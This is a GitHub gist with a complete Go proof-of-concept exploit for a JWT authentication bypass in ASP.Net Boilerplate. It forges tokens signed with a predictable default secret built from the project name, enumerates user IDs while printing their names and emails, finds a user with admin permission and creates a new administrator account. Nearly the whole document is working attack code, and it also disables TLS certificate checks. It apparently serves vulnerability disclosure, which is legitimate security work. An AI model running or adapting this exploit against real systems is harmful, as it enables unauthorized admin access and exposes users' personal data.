Skip to content

Instantly share code, notes, and snippets.

@bigshika
Last active August 26, 2022 07:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bigshika/c577d58593dab01b69d1e5bbcee72a8e to your computer and use it in GitHub Desktop.
Save bigshika/c577d58593dab01b69d1e5bbcee72a8e to your computer and use it in GitHub Desktop.
Proof of Concept code for ASP.Net Boilerplate JWT Authentication Bypass
package main
import (
"bytes"
"crypto/tls"
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
"github.com/golang-jwt/jwt/v4"
)
var host = "localhost:44311"
// ProjectName is found in <title> or the copyright notice at the bottom of the page
// var projectName = "MyProject"
// build token
// call API endpoint until admin user is found
// use admin user token to create a new user with admin privileges
func main() {
fmt.Printf("Targeting: https://%s/\n", host)
projectName, err := getProjectName()
if err != nil || projectName == "" {
fmt.Println(projectName)
log.Fatal(err)
}
// iterates through all users to find an admin
var token string
var grantedPermissions map[string]string
userId := 1 // userId is enumerable for open source edition
fmt.Println("Checking for admin users...")
for {
fmt.Printf("Generating token for userid: %d\n", userId)
// Use weak secret to build a token for a user
token = buildToken(projectName, userId)
if exists, err := whoIsUser(token); !exists || err != nil {
userId++
continue
}
grantedPermissions = getPermissions(token)
if len(grantedPermissions) == 0 {
fmt.Println("Nope")
} else {
if doesUserHavePermission(grantedPermissions, UsersPermission) {
fmt.Println("Admin found! Using this user to create new admin user...")
break // we found an admin!
}
}
userId++
}
createNewAdminUser(token) // or whatever admin thing you want to do
}
func buildToken(projectName string, id int) string {
// Create a new token valid from 1/1/1970 and valid till INT_MAX
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": fmt.Sprint(id),
"jti": "03f1cb72-71fd-48e0-a3c1-64b8527cf7ef", // arbitrary guid
"iat": 0,
"nbf": 0,
"exp": 2147483647,
"iss": projectName,
"aud": projectName,
})
// Sign and get the complete encoded token as a string using the secret
tokenString, err := token.SignedString([]byte(projectName + "_C421AAEE0D114E9C"))
if err != nil {
fmt.Println(err)
return ""
}
return tokenString
}
func makeGetRequest(endpoint, token string) ([]byte, error) {
requestURL := fmt.Sprintf("https://%s%s", host, endpoint)
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
req, err := http.NewRequest(http.MethodGet, requestURL, nil)
if err != nil {
fmt.Printf("client: could not create request: %s\n", err)
return nil, err
}
if token != "" {
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", token))
}
res, err := http.DefaultClient.Do(req)
if err != nil {
log.Println(err)
return nil, err
}
if res == nil {
fmt.Println("nope sorry")
return nil, err
}
defer res.Body.Close()
responseData, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Println(err)
return nil, err
}
return responseData, nil
}
func makePostRequest(endpoint, token string, body []byte) ([]byte, error) {
requestURL := fmt.Sprintf("https://%s%s", host, endpoint)
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
bodyReader := bytes.NewReader(body)
req, err := http.NewRequest(http.MethodPost, requestURL, bodyReader)
if err != nil {
fmt.Printf("client: could not create request: %s\n", err)
os.Exit(1)
}
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", token))
req.Header.Set("Content-Type", "application/json")
res, err := http.DefaultClient.Do(req)
if err != nil {
log.Fatal(err)
return nil, err
}
defer res.Body.Close()
responseData, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
return nil, err
}
return responseData, nil
}
func getProjectName() (string, error) {
endpoint := "/AbpUserConfiguration/GetAll"
responseData, err := makeGetRequest(endpoint, "")
if err != nil {
fmt.Println(err)
return "", err
}
res := &Config{}
if err := json.Unmarshal(responseData, &res); err != nil {
fmt.Println("Marshalling error: " + err.Error())
return "", err
}
for _, source := range res.Result.Localization.Sources {
if !strings.Contains(source.Name, "Abp") {
// admittedly this will fail if the projectname contains Abp
fmt.Printf("Project Name is: %s\n", source.Name)
return source.Name, nil
}
}
return "", nil
}
func whoIsUser(token string) (bool, error) {
endpoint := "/api/services/app/Session/GetCurrentLoginInformations"
responseData, err := makeGetRequest(endpoint, token)
if err != nil {
fmt.Println(err)
return false, err
}
session := &CurrentSession{}
if err := json.Unmarshal(responseData, session); err != nil {
fmt.Println(err)
return false, err
}
if session.Result.User.Id == 0 {
return false, nil
}
fmt.Printf("UserId: %d\n", session.Result.User.Id)
fmt.Printf("Username: %s\n", session.Result.User.Username)
fmt.Printf("User's full name: %s %s\n", session.Result.User.Name, session.Result.User.Surname)
fmt.Printf("User's Email: %s\n", session.Result.User.Email)
return true, nil
}
func getPermissions(token string) map[string]string {
endpoint := "/AbpUserConfiguration/GetAll"
responseData, err := makeGetRequest(endpoint, token)
if err != nil {
fmt.Println(err)
return nil
}
permissions := &Config{}
if err := json.Unmarshal(responseData, permissions); err != nil {
fmt.Println(err)
return nil
}
fmt.Printf("Permissions Granted to this User are: ")
for k, p := range permissions.Result.Permissions.GrantedPermissions {
fmt.Printf("%s:%s ", k, p)
}
fmt.Println()
return permissions.Result.Permissions.GrantedPermissions
}
func doesUserHavePermission(grantedPermissions map[string]string, permission string) bool {
for k := range grantedPermissions {
if k == permission {
return true
}
}
return false
}
func createNewAdminUser(token string) {
endpoint := "/api/services/app/User/Create"
body := map[string]interface{}{
"userName": "ExampleAdmin",
"name": "Jason",
"surname": "Token",
"emailAddress": "user1@example.com",
"isActive": true,
"roleNames": []string{"ADMIN"},
"password": "testTEST123",
}
bodyBytes, err := json.Marshal(body)
if err != nil {
fmt.Println("Error encoding JSON")
return
}
responseData, err := makePostRequest(endpoint, token, bodyBytes)
if err != nil {
fmt.Println(err)
return
}
var result map[string]interface{}
if err := json.Unmarshal(responseData, &result); err != nil {
fmt.Println("Marshalling error: " + err.Error())
return
}
if result["success"].(bool) {
fmt.Println("New admin user successfully created!")
fmt.Printf("Log in with %s:%s\n", body["userName"], body["password"])
} else {
fmt.Println("New admin user could not be created")
}
}
module pulse-security/abp
go 1.18
require github.com/golang-jwt/jwt/v4 v4.4.2
package main
const (
UsersPermission = "Pages.Users"
TenantsPermission = "Pages.Tenants"
RolesPermission = "Pages.Roles"
)
type Session struct {
UserId int `json:"userId"`
TenantId int `json:"tenantId"`
}
type Permissions struct {
AllPermissions map[string]string `json:"allPermissions"`
GrantedPermissions map[string]string `json:"grantedPermissions"`
}
type ConfigResult struct {
Session Session `json:"session"`
Permissions Permissions `json:"auth"`
Localization Localization `json:"localization"`
}
type Localization struct {
Sources []Source `json:"sources"`
}
type Config struct {
Result ConfigResult `json:"result"`
}
type CurrentSession struct {
Result CurrentSessionResult `json:"result"`
}
type CurrentSessionResult struct {
User User `json:"user"`
Tenant string `json:"tenant"`
}
type Source struct {
Name string `json:"name"`
Type string `json:"type"`
}
type User struct {
Name string `json:"name"`
Surname string `json:"surname"`
Username string `json:"userName"`
Email string `json:"emailAddress"`
Id int `json:"id"`
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment